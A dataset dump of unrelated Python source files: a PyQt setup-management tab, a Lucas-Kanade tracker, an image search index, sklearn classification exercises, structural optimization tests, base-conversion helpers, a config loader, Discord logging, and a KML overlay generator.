isChecked.append(self.list_of_setups.item(row, self.list_of_setups.select_nr).checkState() == 2)\n\n if len(database.controllers) == 0:\n boxM = QtGui.QMessageBox()\n boxM.setIcon(QtGui.QMessageBox.Information)\n boxM.setText(\"You must be connected to a setup to update it\")\n boxM.exec()\n\n if sum(isChecked) == 1:\n checked_row = isChecked.index(1)\n setup_col = self.list_of_setups.header_names.index(\"Setup_ID\")\n checked_setup_id = self.list_of_setups.item(checked_row, setup_col).text()\n for k, G in database.controllers.items():\n if k == checked_setup_id:\n\n self.configure_box_dialog = configure_box_dialog(k, self.GUI)\n self.configure_box_dialog.exec_()\n\n else:\n pass\n print('You must edit one setup at a time')\n\n def add_cage(self):\n\n entry_nr = len(database.setup_df)\n\n # add a check to see that something about the cage has been filled in\n if not (self.cat_combo_box.currentIndex() == 0 or self.setup_name.text() is None):\n\n # first fill row with NA\n database.setup_df.loc[entry_nr] = ['none']*len(database.setup_df.columns)\n\n # get and set the USB port key\n COM = self.cat_combo_box.itemText(self.cat_combo_box.currentIndex())\n database.setup_df.loc[entry_nr, 'COM'] = COM\n\n COM_AC = self.cact_combo_box.itemText(self.cact_combo_box.currentIndex())\n database.setup_df.loc[entry_nr, 'COM_AC'] = COM_AC\n\n # get the name of the setup\n database.setup_df.loc[entry_nr, 'Setup_ID'] = self.setup_name.text()\n\n self.parent()._reset_tables()\n\n database.setup_df.to_csv(database.setup_df.file_location)\n\n def _refresh(self):\n \"\"\" find which training seutps are available \"\"\"\n\n if self._setups_have_changed():\n self.cat_combo_box.clear()\n self.cact_combo_box.clear()\n ports = [i for i in find_setups() if i not in (database.setup_df['COM'].tolist() + database.setup_df['COM_AC'].tolist())]\n\n self.cat_combo_box.addItems(['Select Training Setup'] + list(ports))\n self.cact_combo_box.addItems(['Select Access Control'] + list(ports))\n\n self.list_of_setups._refresh()\n\n def _setups_have_changed(self) -> bool:\n\n ports = [i for i in find_setups() if i not in (database.setup_df['COM'].tolist() + database.setup_df['COM_AC'].tolist())]\n prev = ['Select Training Setup'] + list(ports)\n new_prop_cat = [self.cat_combo_box.itemText(i) for i in range(self.cat_combo_box.count())]\n return new_prop_cat != prev\n\n def remove_cage(self):\n \"\"\" Remove cage from df and CSV file \"\"\"\n isChecked = []\n for row in range(self.list_of_setups.rowCount()):\n isChecked.append(self.list_of_setups.item(row, self.list_of_setups.select_nr).checkState() == 2)\n\n if any(isChecked):\n sure = are_you_sure_dialog()\n sure.exec_()\n if sure.GO:\n fl = database.setup_df.file_location\n\n database.setup_df = database.setup_df.drop(database.setup_df.index[isChecked])\n database.setup_df.file_location = fl\n\n self.list_of_setups.fill_table()\n self.GUI.system_tab.list_of_setups.fill_table()\n else:\n pass\n\n def get_summary(self):\n \"\"\" Get summary information for the set of selected mice \"\"\"\n\n isChecked = []\n for row in range(self.list_of_setups.rowCount()):\n checked = self.list_of_setups.item(row, 0).checkState() == 2\n isChecked.append(checked)\n\n if any(isChecked):\n sd = cage_summary_dialog()\n sd.show()\n sd.exec_()\n","sub_path":"build/lib/pycontrol_homecage/gui_tabs/setup_overview_tab.py","file_name":"setup_overview_tab.py","file_ext":"py","file_size_in_byte":9228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"516905009","text":"import numpy as np\nfrom scipy.interpolate import RectBivariateSpline\n\ndef LucasKanadeAffine(It, It1):\n\t# Input: \n\t#\tIt: template image\n\t#\tIt1: Current image\n\t# Output:\n\t#\tM: the Affine warp matrix [2x3 numpy array]\n # put your implementation here\n # M = np.array([[1.0, 0.0, 0.0], [0.0, 1.0, 0.0]])\n p0 = np.zeros(6)\n imH0, imW0 = np.shape(It)\n imH1, imW1 = np.shape(It1)\n # print(np.shape(It))\n \n width = imW0\n height = imH0\n # print(It[imH0-1,imW0-1])\n spline0 = RectBivariateSpline(np.linspace(0, imH0, num=imH0, endpoint=False),\n np.linspace(0, imW0, num=imW0, endpoint=False), It)\n spline1 = RectBivariateSpline(np.linspace(0, imH1, num=imH1, endpoint=False),\n np.linspace(0, imW1, num=imW1, endpoint=False), It1)\n\n p = p0\n # print(p)\n threshold = 0.01\n change = 1\n counter = 1\n x, y = np.mgrid[0:imW0,0:imH0]\n # print(np.shape(x))\n x = np.reshape(x,(1,height*width))\n y = np.reshape(y,(1,height*width))\n coor = np.vstack((x, y, np.ones((1, height * width))))\n\n while (change > threshold and counter < 50):\n M = np.array([[1+p[0], p[1],p[2]],\n [p[3],1+p[4],p[5]],\n [0,0,1]])\n coorp = np.matmul(M,coor)\n xp = coorp[0]\n yp = coorp[1]\n xout = (np.where(xp>=imW0) or np.where(xp < 0))\n\n yout = (np.where(yp>=imH0) or np.where(yp < 0))\n # print(M)\n # print(np.shape(xout))\n # print(xout,yout)\n if (np.shape(xout)[1] == 0 and np.shape(yout)[1] == 0):\n out = []\n elif (np.shape(xout)[1] != 0 and np.shape(yout)[1] ==0):\n # print(xout)\n out = xout\n # print(np.shape(xout))\n # print(xout)\n # print(np.shape(yout))\n elif (np.shape(xout)[1] == 0 and np.shape(yout)[1] !=0):\n out = yout\n else:\n\n out = np.unique(np.concatenate((xout,yout),0))\n\n xnew = np.delete(x,out)\n ynew = np.delete(y,out)\n xp = np.delete(xp,out)\n yp = np.delete(yp,out)\n dxp = spline1.ev(yp, xp, dy=1).flatten()\n dyp = spline1.ev(yp, xp, dx=1).flatten()\n It1p = spline1.ev(yp, xp).flatten()\n Itp = spline0.ev(ynew, xnew).flatten()\n\n xnew = np.reshape(xnew,(len(xnew),1))\n ynew = np.reshape(ynew,(len(ynew),1))\n xp = np.reshape(xp,(len(xp),1))\n yp = np.reshape(yp,(len(yp),1))\n dxp = np.reshape(dxp, (len(dxp), 1))\n dyp = np.reshape(dyp, (len(dyp), 1))\n\n A1 = np.multiply(xnew,dxp)\n\n A2 = np.multiply(ynew,dxp)\n A4 = np.multiply(xnew,dyp)\n A5 = np.multiply(ynew,dyp)\n A = np.hstack((A1,A2,dxp,A4,A5,dyp))\n\n # print(np.shape(A))\n b = np.reshape(Itp - It1p, (len(xp), 1))\n deltap = np.linalg.pinv(A).dot(b)\n # deltap = np.linalg.lstsq(A,b,rcond = -1)[0]\n # print(deltap)\n # print(np.shape(deltap))\n change = np.linalg.norm(deltap)\n p = (p + deltap.T).ravel()\n # print(p)\n counter += 1\n # print(counter)\n M = np.array([[1+p[0], p[1],p[2]],\n [p[3],1+p[4],p[5]],\n [0,0,1]])\n return M\n","sub_path":"16-720B-HW3 Lucas-Kanade Tracking and Correlation Filters/chendil/LucasKanadeAffine.py","file_name":"LucasKanadeAffine.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"506556041","text":"import abc\nimport os\n\nfrom visual_search_engine.utils import *\nfrom visual_search_engine.error import *\n\n\nclass Index:\n def __init__(self, dir_path):\n \"\"\"All indexes base class. Removes existing index directory.\n Registers exit function, which will delete index directory on termination\"\"\"\n self._dir_path = complete_path(dir_path)\n rmdir_if_exist(dir_path)\n os.makedirs(dir_path)\n import atexit\n atexit.register(rmdir_if_exist, dir_path)\n\n @abc.abstractmethod\n def add(self, filename, hist, image):\n pass\n\n @abc.abstractmethod\n def get(self, query_hist):\n pass\n\n @abc.abstractmethod\n def remove(self, filename):\n pass\n\n\nclass ForwardIndex(Index):\n def __init__(self, dir_path='./index'):\n Index.__init__(self, dir_path)\n self._index = {}\n\n def add(self, filename, hist, image):\n if filename in self._index.keys():\n raise DuplicatedImageError(filename)\n with open(self._dir_path + filename, 'wb') as file:\n file.write(image)\n self._index[filename] = hist\n\n def get(self, query_hist):\n return self._index.items()\n\n def remove(self, filename):\n if filename not in self._index.keys():\n raise NoImageError(filename)\n else:\n del self._index[filename]\n os.remove(self._dir_path + filename)\n\n\nclass InvertedIndex(Index):\n def __init__(self, vw_amount, dir_path='./index', cutoff=2.0):\n Index.__init__(self, dir_path)\n self._index = [{} for i in range(vw_amount)]\n self._cutoff = cutoff\n\n def add(self, filename, hist, image):\n for i, vw in enumerate(hist):\n if vw > self._cutoff / len(hist):\n if filename in self._index[i].keys():\n raise DuplicatedImageError(filename)\n self._index[i][filename] = hist\n with open(self._dir_path + filename, 'wb') as file:\n file.write(image)\n\n def get(self, query_hist):\n results = []\n for i, vw in enumerate(query_hist):\n if vw > self._cutoff / len(query_hist):\n results.extend(self._index[i].items())\n return dict(results).items()\n\n def remove(self, filename):\n found = False\n for i, vw_dict in enumerate(self._index):\n if filename in vw_dict.keys():\n found = True\n del self._index[i][filename]\n\n if found:\n os.remove(self._dir_path + filename)\n else:\n raise NoImageError(filename)\n","sub_path":"visual_search_engine/visual_search_engine/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"498266449","text":"import random\n\nimport nose\n\nimport merge_sort\n\n\ndef test_list_gets_sorted_correctly() -> None:\n to_sort = [random.random() for _ in range(1_000_000)]\n expected = sorted(to_sort)\n\n actual = merge_sort.merge_sort(to_sort)\n\n assert actual == expected\n\n\nif __name__ == '__main__':\n nose.main()\n","sub_path":"1-algorithms-divide-conquer/week-1/merge-sort/test_merge_sort.py","file_name":"test_merge_sort.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"487940394","text":"from functools import cmp_to_key\nimport re\nfrom matplotlib import markers\nfrom scipy.sparse import data\nfrom scipy.sparse.sputils import matrix\nfrom sklearn.datasets import load_iris\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn import metrics\nimport seaborn as sns\nfrom sklearn.metrics import confusion_matrix\niris=load_iris()\nX=iris.data\ny=iris.target\nX_train,X_test,y_train,y_test=train_test_split(X,y,test_size=0.2,random_state=4)\nknn=KNeighborsClassifier(n_neighbors=5)\nknn.fit(X,y)\nclasses={0:'setosa',1:'versicolor',2:'virginica'}\nx_new=[[3,4,5,2],[5,4,2,2]]\ny_predict=knn.predict(x_new)\nprint(classes[y_predict[0]])\nprint(classes[y_predict[1]])\niris_df2=pd.DataFrame(data=np.c_[iris['data'],iris['target']],columns=iris['feature_names']+['target'])\n\nsns.pairplot(iris_df2,diag_kind='kde',hue='target',palette='colorblind')\nplt.show()\ny_pred_all=knn.predict(iris.data)\nscores=metrics.accuracy_score(iris.target,y_pred_all)\nconf_mat=confusion_matrix(iris.target,y_pred_all)\nplt.matshow(conf_mat)\nplt.show()\ndog_classes={0:'Dachshund',1:'Samoyed',2:'Maltese'}\ndachshund_length=[77,78,85,83,73,77,73,80]\ndachshund_height=[25,28,19,30,21,22,17,35]\n\nsamoyed_length=[75,77,86,86,79,83,83,88]\nsamoyed_height=[56,57,50,53,60,53,49,61]\n\nmaltese_length=[34,38,38,41,30,37,41,35]\nmaltese_height=[22,25,19,30,21,24,28,18]\n\nprint('dachshund=============')\ndachshund=zip(dachshund_length,dachshund_height)\nl=list(dachshund)\nX1=[list(x) for x in l]\ny1=[0]*len(X1)\nprint(y1)\nprint()\nprint('samoyed==============')\nsamoyed=zip(dachshund_length,dachshund_height)\nl=list(samoyed)\nX2=[list(x) for x in l]\nprint(X2)\n\ny2=[1]* len(X2)\nprint(y2)\nprint('말티즈==============')\nmaltese=zip(maltese_length,maltese_height)\nl=list(maltese)\nX3=[list(x) for x in l]\nprint(X3)\n\ny3=[2]* len(X3)\nprint(y3)\ndogs=X1+X2+X3\nlabels=y1+y2+y3\nknn=KNeighborsClassifier(n_neighbors=5)\nknn.fit(dogs,labels)\nnew_data=[[45,34],[70,59],[49,30],[80,27]]\nresult=knn.predict(new_data)\nprint(\"길이 45, 높이 34:{}\".format(dog_classes[result[0]]))\nprint(\"길이 70, 높이 59:{}\".format(dog_classes[result[1]]))\nprint(\"길이 49, 높이 30:{}\".format(dog_classes[result[2]]))\nprint(\"길이 80, 높이 27:{}\".format(dog_classes[result[3]]))\nimport matplotlib\nimport matplotlib.font_manager as fm\nfm.get_fontconfig_fonts()\nfont_location=\"c:\\\\windows\\\\fonts\\\\H2GTRM.TTF\"\nfont_name=fm.FontProperties(fname=font_location).get_name()\nmatplotlib.rc('font',family=font_name)\nx=[45,70,49,60]\ny=[34,59,30,27]\ndata=['길이 45 ,높이 34', '길이 70 ,높이 59' ,'길이 49 ,높이 30 ','길이 60 ,높이 27']\nplt.scatter(dachshund_length,dachshund_height,c='red',label='dachshund')\nplt.scatter(samoyed_length,samoyed_height,c='blue',marker='^',label='samoyed')\nplt.scatter(maltese_length,maltese_height,c='green',marker='s',label='maltese')\nplt.scatter(x,y,c='magenta',label='new data')\nfor i in range(4):\n plt.text(x[i],y[i],data[i],color='green')\nplt.xlabel('Length')\nplt.ylabel('Height')\nplt.legend(\"upper left\")\nplt.title(\"개덩치\")\nplt.show()\n\nfrom sklearn import linear_model\n\nregr=linear_model.LinearRegression()\nX=[[174],[152],[138],[128],[186]]\ny=[71,55,46,38,88]\nregr.fit(X,y)\nscore=regr.score(X,y)\nplt.scatter(X,y,color='green',marker='*')\ny_pred=regr.predict(X)\nplt.plot(X,y_pred,color='yellow',linewidth=3)\nplt.title('LinearRegression')\nplt.show()\nregr=linear_model.LinearRegression()\ncom_p={\n 'name':['A','B','C','D','E','F','G','H'],\n 'horse power':[130,250,190,300,210,220,170,200],\n 'weight':[1900,2600,2200,2900,2400,2300,2100,2300],\n 'efficiency':[16.3,10.2,11.1,7.1,12.1,13.2,14.2,15.2]\n}\nX=[]\nfor i in range(8):\n X.append(com_p['horse power'][i])\nprint(X)\ny=com_p['efficiency']\nprint(y)\nregr.fit(X,y)\nresult=regr.predict([[270],[300]])\nprint(\"270 마력 자동차의 예상 연비 : {0:.2f}\".format(result[0]),'km/l')\nprint('300 마력 자동차의 예상 연비 : {0:.2f}'.format(result[1]),'km/l')\n\ndf=pd.DataFrame({\n 'name':['A','B','C','D','E','F','G','H'],\n 'horse power':[130,250,190,300,210,220,170,200],\n 'weight':[1900,2600,2200,2900,2400,2300,2100,2300],\n 'efficiency':[16.3,10.2,11.1,7.1,12.1,13.2,14.2,15.2]\n})\nX=df[['horse power','weight']]\ny=df['efficiency']\nregr.fit(X,y)\nresult=regr.predict([[270,2500]])\nprint(\"270마력 2500kg 자동차의 예상연비 : {0:.2f}\".format(result[0]),'km/l')\nprint()\n\nsns.pairplot(df[['horse power,weight','efficiency']])\nplt.show()\nprint(df.corr())\nsns.heatmap(df.corr(),annot=True,cmap='YlGnBu',linewidth=2)\nplt.show()","sub_path":"2021_06_10/ml3.py","file_name":"ml3.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"578370973","text":"import unittest\nfrom src.optimize_structure import change_rod_geometry, optimize_rod_structure, optimize_wing_box_structure\nimport numpy as np\nfrom src.distributions import DistributedLoad, InternalDistributions, Moment\nfrom src.structures import RodStructure, WingBox\nfrom src.sections import CircularRodSection, SingleCycleSection, SectionGeometry\nfrom src.materials import Material\nfrom src.geometry import CircularGeometry, Edge, Boom, Stringer, GeometryGraph\nimport numpy.testing as npt\n\nclass TestOptimizeStructure(unittest.TestCase):\n\n def test_modify_material(self):\n mass = 12.4\n L_0 = mass / 2 * 3.75 * 9.81 / (np.pi / 4)\n span = 2\n elliptic_loading = lambda x: -L_0 * (1 - (x / (span / 2)) ** 2) ** 0.5\n distributed_load = DistributedLoad(elliptic_loading, 0, 1, 1)\n loads = [distributed_load]\n moment = Moment(mass * 9.81 / 2 * 1/4 * 3.75, 0.1, 2)\n moments = [moment]\n domain = np.linspace(0, 1, 1000)\n distribution = InternalDistributions(domain, distributed_loads=loads, moments=moments)\n distribution.calculate_internal_distributions(include_reactions=True)\n\n material = Material(1150, 2.23 * 10 ** 9, 2.23 * 10 ** 9 / (3 * (1 + 2)), 67.6 * 10 ** 6,\n 67.6 * 10 ** 6 / 3)\n geometry = CircularGeometry(0.02)\n rod_structures = RodStructure(CircularRodSection, geometry, material, 0, 0, 1, 1,\n 100)\n new_geometry = CircularGeometry(0.01)\n change_rod_geometry(rod_structures, new_geometry)\n self.assertEqual(new_geometry.radius, rod_structures.sections[0].geometry.radius)\n\n def test_optimization_rod(self):\n mass = 12.4\n L_0 = mass / 2 * 3.75 * 9.81 / (np.pi / 4)\n span = 2\n elliptic_loading = lambda x: -L_0 * (1 - (x / (span / 2)) ** 2) ** 0.5\n distributed_load = DistributedLoad(elliptic_loading, 0, 1, 1)\n loads = [distributed_load]\n moment = Moment(mass * 9.81 / 2 * 1/4 * 3.75, 0.1, 2)\n moments = [moment]\n domain = np.linspace(0, 1, 1000)\n distribution = InternalDistributions(domain, distributed_loads=loads, moments=moments)\n distribution.calculate_internal_distributions(include_reactions=True)\n\n material = Material(1150, 2.23 * 10 ** 9, 2.23 * 10 ** 9 / (3 * (1 + 2)), 67.6 * 10 ** 6,\n 67.6 * 10 ** 6 / 3)\n geometry = CircularGeometry(0.02)\n rod_structures = RodStructure(CircularRodSection, geometry, material, 0, 0, 1, 1,\n 100)\n rod_structures.add_internal_distribution(distribution)\n rod_structures.compute_stresses()\n best_radius = optimize_rod_structure(rod_structures, CircularGeometry)\n change_rod_geometry(rod_structures, CircularGeometry(best_radius))\n rod_structures.compute_stresses()\n npt.assert_allclose(max(np.abs(rod_structures.max_normal_stresses)),\n material.sigma_max, rtol=0.05)\n print(best_radius)\n print(rod_structures.mass)\n\n def test_optimization_wing_box(self):\n mass = 12.4\n L_0 = mass / 2 * 3.75 * 9.81 / (np.pi / 4)\n span = 2\n elliptic_loading = lambda x: -L_0 * (1 - (x / (span / 2)) ** 2) ** 0.5\n distributed_load = DistributedLoad(elliptic_loading, 0, 1, 1)\n loads = [distributed_load]\n moment = Moment(mass * 9.81 / 2 * 1/4 * 3.75, 0.1, 2)\n moments = [moment]\n domain = np.linspace(0, 1, 1000)\n distribution = InternalDistributions(domain, distributed_loads=loads, moments=moments)\n distribution.calculate_internal_distributions(include_reactions=True)\n\n node_0 = Stringer([0.400, -0.010], 0, 0)\n node_1 = Stringer([0.300, -0.030], 1, 0)\n node_2 = Stringer([0.100, -0.030], 2, 0)\n node_3 = Stringer([0, -0.020], 3, 0)\n node_4 = Stringer([0, 0.020], 4, 0)\n node_5 = Stringer([0.100, 0.030], 5, 0)\n node_6 = Stringer([0.300, 0.030], 6, 0)\n node_7 = Stringer([0.400, 0.010], 7, 0)\n nodes = [node_0, node_1, node_2, node_3, node_4, node_5, node_6, node_7]\n graph = GeometryGraph(nodes)\n skin_thickness = 0.0005\n edge_01 = Edge(node_0, node_1, skin_thickness)\n edge_12 = Edge(node_1, node_2, skin_thickness)\n edge_23 = Edge(node_2, node_3, skin_thickness)\n edge_34 = Edge(node_3, node_4, skin_thickness)\n edge_45 = Edge(node_4, node_5, skin_thickness)\n edge_56 = Edge(node_5, node_6, skin_thickness)\n edge_67 = Edge(node_6, node_7, skin_thickness)\n edge_70 = Edge(node_7, node_0, skin_thickness)\n graph.add_cycle([edge_01, edge_12, edge_23, edge_34, edge_45, edge_56, edge_67, edge_70])\n graph.init_booms()\n section_geometry_reference = SectionGeometry(graph, 0, 0)\n material = Material(1150, 2.23 * 10 ** 9, 2.23 * 10 ** 9 / (3 * (1 + 2)), 67.6 * 10 ** 6,\n 67.6 * 10 ** 6 / 3)\n wing_box = WingBox(SingleCycleSection, section_geometry_reference, material, 0, 0, 1,\n 0.4, 0.06, 1, 100)\n wing_box.add_internal_distribution(distribution)\n best_thickeness = optimize_wing_box_structure(wing_box, graph)\n print(wing_box.mass)\n\n\n\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"test/test_optimize_structure.py","file_name":"test_optimize_structure.py","file_ext":"py","file_size_in_byte":5380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"352050028","text":"'''\r\nCreated by: Sarah Johnson\r\nUpdated: 6/11/20\r\n\r\nDescription:\r\n A series of functions to convert between binary, decimal, octal, and hexadecimal bases.\r\n'''\r\n\r\ndef bin_to_dec(bin_num):\r\n '''\r\n Parameter:\r\n bin_num is a number in base 2\r\n Returns the equivalent of dec_num in base 10\r\n '''\r\n num = [str(i) for i in str(bin_num)]\r\n num.reverse()\r\n sum = 0\r\n for i in range(len(num)):\r\n sum += (int(num[i]) * 2**i) \r\n return sum\r\n\r\ndef dec_to_oct(dec_num):\r\n '''\r\n Parameter:\r\n dec_num is a number in base 10\r\n Returns the equivalent of dec_num in base 8\r\n '''\r\n nums = []\r\n while True:\r\n div = dec_num//8\r\n partial = (dec_num/8)-div #decimal portion of number/8\r\n rem = partial*8\r\n nums.append(str(int(rem)))\r\n if div == 0:\r\n nums.reverse()\r\n return ''.join(nums)\r\n dec_num = div\r\n \r\ndef oct_to_dec(oct_num):\r\n '''\r\n Parameter:\r\n dec_num is a number in base 10\r\n Returns the equivalent of dec_num in base 8\r\n '''\r\n num = [i for i in str(oct_num)]\r\n num.reverse()\r\n sum = 0\r\n for i in range(len(num)):\r\n sum += (int(num[i])*(8**i))\r\n return sum\r\n \r\n \r\ndef dec_to_hex(dec_num):\r\n '''\r\n Parameter:\r\n dec_num is a number in base 10\r\n Returns the equivalent of dec_num in base 8\r\n '''\r\n hex_dict = {'10':'A',\r\n '11':'B',\r\n '12':'C',\r\n '13':'D',\r\n '14':'E',\r\n '15':'F'}\r\n \r\n hex = []\r\n while True: \r\n div = dec_num//16 \r\n partial = dec_num/16-div\r\n rem = partial*16\r\n hex.append(str(int(rem)))\r\n if dec_num == 0:\r\n break\r\n dec_num = div\r\n if hex[-1] == '0':\r\n hex.pop()\r\n hex.reverse()\r\n for i in range(len(hex)):\r\n if int(hex[i]) > 9:\r\n hex[i] = hex_dict[hex[i]]\r\n \r\n return ''.join(hex)\r\n\r\ndef oct_to_hex(oct_num):\r\n '''\r\n Parameter:\r\n oct_num is a number in base 8\r\n Returns the equivalent of dec_num in base 16\r\n '''\r\n return dec_to_hex(oct_to_dec(oct_num))\r\n \r\ndef hex_to_dec(hex_num):\r\n '''\r\n Parameter:\r\n hex_num is a number in base 16\r\n Returns the equivalent of dec_num in base 10\r\n '''\r\n hex_dict = {'A':'10',\r\n 'B':'11',\r\n 'C':'12',\r\n 'D':'13',\r\n 'E':'14',\r\n 'F':'15'}\r\n num = [str(i) for i in str(hex_num).upper()]\r\n num.reverse()\r\n sum = 0\r\n for i in range(len(num)):\r\n if num[i] in hex_dict:\r\n digit = int(hex_dict[num[i]])\r\n else:\r\n digit = int(num[i])\r\n sum += (digit * (16**i))\r\n return sum\r\n\r\n \r\n ","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"439929921","text":"import pkg_resources\n\nimport os\n\nfrom yaml import load, dump\ntry:\n from yaml import CLoader as Loader, CDumper as Dumper\nexcept ImportError:\n from yaml import Loader, Dumper\n\n\nimport yaml\n\nRESOURCE_PACKAGE = 'mlconjug3'\n\nconfig_file = pkg_resources.resource_filename(RESOURCE_PACKAGE, 'config/config.yaml')\nwith open(config_file, 'r') as stream:\n try:\n constants = load(stream, Loader=Loader)\n ABBREVS = constants['ABBREVS']\n ALPHABET = constants['ALPHABET']\n AUXILIARIES = constants['AUXILIARIES']\n CONJUGATIONS_RESOURCE_PATH = constants['CONJUGATIONS_RESOURCE_PATH']\n GENDER = constants['GENDER']\n IMPERATIVE_PRONOUNS = constants['IMPERATIVE_PRONOUNS']\n LANGUAGE_FULL = constants['LANGUAGE_FULL']\n LANGUAGES = constants['LANGUAGES']\n NEGATION = constants['NEGATION']\n PRE_TRAINED_MODEL_PATH = constants['PRE_TRAINED_MODEL_PATH']\n PRONOUNS = constants['PRONOUNS']\n SUPPORTED_LANGUAGES = constants['SUPPORTED_LANGUAGES']\n RESOURCE_PACKAGE = constants['RESOURCE_PACKAGE']\n TRANSLATED_LANGUAGES = constants['TRANSLATED_LANGUAGES']\n TRANSLATIONS_PATH = pkg_resources.resource_filename(RESOURCE_PACKAGE, 'locale')\n VERBS_RESOURCE_PATH = constants['VERBS_RESOURCE_PATH']\n except yaml.YAMLError as exc:\n print(exc)\n\nif __name__ == \"__main__\":\n pass\n","sub_path":"mlconjug3/constants/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"95656548","text":"import logging\nfrom datetime import datetime\nfrom pathlib import Path\n\n\nPath(\"./logs\").mkdir(exist_ok=True)\n\nlogger = logging.getLogger('discord')\nlogger.setLevel(logging.INFO)\nhandler = logging.FileHandler(\n filename=f'logs/discord {datetime.today().strftime(\"%B %d, %Y\")}.log', \n encoding='utf-8', mode='a')\nhandler.setFormatter(logging.Formatter(\n '%(asctime)s:%(levelname)s:%(name)s: %(message)s'))\nlogger.addHandler(handler)\n","sub_path":"bot/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"328488029","text":"#!/usr/bin/env python\nimport datetime\nfrom netCDF4 import Dataset as NetCDFFile\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom simplekml import (Kml, OverlayXY, ScreenXY, Units, RotationXY, TimeStamp,\n AltitudeMode, Camera, RefreshMode, ViewRefreshMode)\n\ndef make_kml(llcrnrlon, llcrnrlat, urcrnrlon, urcrnrlat,\n figs, tim, colorbar=None, **kw):\n \"\"\"TODO: LatLon bbox, list of figs, optional colorbar figure,\n and several simplekml kw...\"\"\"\n\n kml = Kml()\n\n altitude = kw.pop('altitude', 2e7)\n roll = kw.pop('roll', 0)\n tilt = kw.pop('tilt', 0)\n altitudemode = kw.pop('altitudemode', AltitudeMode.relativetoground)\n\n camera = Camera(latitude=np.mean([urcrnrlat, llcrnrlat]),\n longitude=np.mean([urcrnrlon, llcrnrlon]),\n altitude=altitude, roll=roll, tilt=tilt,\n altitudemode=altitudemode)\n\n author = kw.pop('author', 'ocefpaf')\n rotation = kw.pop('rotation', 0)\n description = kw.pop('description', 'Matplotlib figure')\n name = kw.pop('name', 'overlay')\n gxaltitudemode = kw.pop('gxaltitudemode', 'clampToSeaFloor')\n visibility = kw.pop('visibility', 1)\n\n kml.document.camera = camera\n kml.document.description = description\n kml.document.author = author\n\n draworder = 0\n for fig in figs: # NOTE: Overlays are limited to the same bbox.\n begin = str(datetime.datetime.utcfromtimestamp(tim[draworder]))\n end = str(datetime.datetime.utcfromtimestamp(tim[draworder+1]))\n\n ground = kml.document.newgroundoverlay(name=name + \" at \" + begin)\n\n print (ground.name)\n\n #ground.draworder = draworder\n ground.visibility = visibility\n\n ground.gxaltitudemode = gxaltitudemode\n\n ground.timespan.begin = begin\n ground.timespan.end = end\n\n ground.icon.href = fig\n # this below is not working for some reason\n #ground.icon.RefreshMode = RefreshMode.oninterval\n #ground.icon.refreshInterval = 300\n #ground.icon.viewRefreshMode = ViewRefreshMode.onstop\n #ground.icon.viewRefreshTime = 2\n #ground.icon.viewBoundScale = 0.85\n\n ground.latlonbox.rotation = rotation\n ground.latlonbox.east = llcrnrlon\n ground.latlonbox.south = llcrnrlat\n ground.latlonbox.north = urcrnrlat\n ground.latlonbox.west = urcrnrlon\n\n draworder += 1\n\n if colorbar: # Options for colorbar are hard-coded (to avoid a big mess).\n screen = kml.newscreenoverlay(name='Legend')\n screen.icon.href = colorbar\n screen.overlayxy = OverlayXY(x=0, y=0,\n xunits=Units.fraction,\n yunits=Units.fraction)\n screen.screenxy = ScreenXY(x=0.015, y=0.075,\n xunits=Units.fraction,\n yunits=Units.fraction)\n screen.rotationXY = RotationXY(x=0.5, y=0.5,\n xunits=Units.fraction,\n yunits=Units.fraction)\n screen.size.x = 0\n screen.size.y = 0\n screen.size.xunits = Units.fraction\n screen.size.yunits = Units.fraction\n screen.visibility = 1\n\n kmzfile = kw.pop('kmzfile', 'overlay.kmz')\n kml.savekmz(kmzfile)\n return kml\n\ndef gearth_fig(llcrnrlon, llcrnrlat, urcrnrlon, urcrnrlat, pixels=1024):\n \"\"\"Return a Matplotlib `fig` and `ax` handles for a Google-Earth Image.\"\"\"\n aspect = np.cos(np.mean([llcrnrlat, urcrnrlat]) * np.pi/180.0)\n xsize = np.ptp([urcrnrlon, llcrnrlon]) * aspect\n ysize = np.ptp([urcrnrlat, llcrnrlat])\n aspect = ysize / xsize\n\n if aspect > 1.0:\n figsize = (10.0 / aspect, 10.0)\n else:\n figsize = (10.0, 10.0 * aspect)\n\n if False:\n plt.ioff() # Make `True` to prevent the KML components from poping-up.\n fig = plt.figure(figsize=figsize,\n frameon=False,\n dpi=pixels//10)\n # KML friendly image. If using basemap try: `fix_aspect=False`.\n ax = fig.add_axes([0, 0, 1, 1])\n ax.set_xlim(llcrnrlon, urcrnrlon)\n ax.set_ylim(llcrnrlat, urcrnrlat)\n return fig, ax\n\ndef odplot(z,lat,lon,ts,te,mass_oil,overlay):\n zs=z[ts:te]\n lons=lon[ts:te] \n lons0=lons[zs==0]\n lats=lat[ts:te] \n lats0=lats[zs==0]\n mass=mass_oil[ts:te]\n mass0=mass[zs==0]\n plt.scatter(lons0, lats0, c=mass0*100, s=2, marker='o', edgecolors=None) \n plt.clim(0,100)\n ax.set_axis_off()\n fig.savefig(overlay, transparent=True, format='png')\n\n return overlay\n\n#============================================================================================0\n#ourpath = 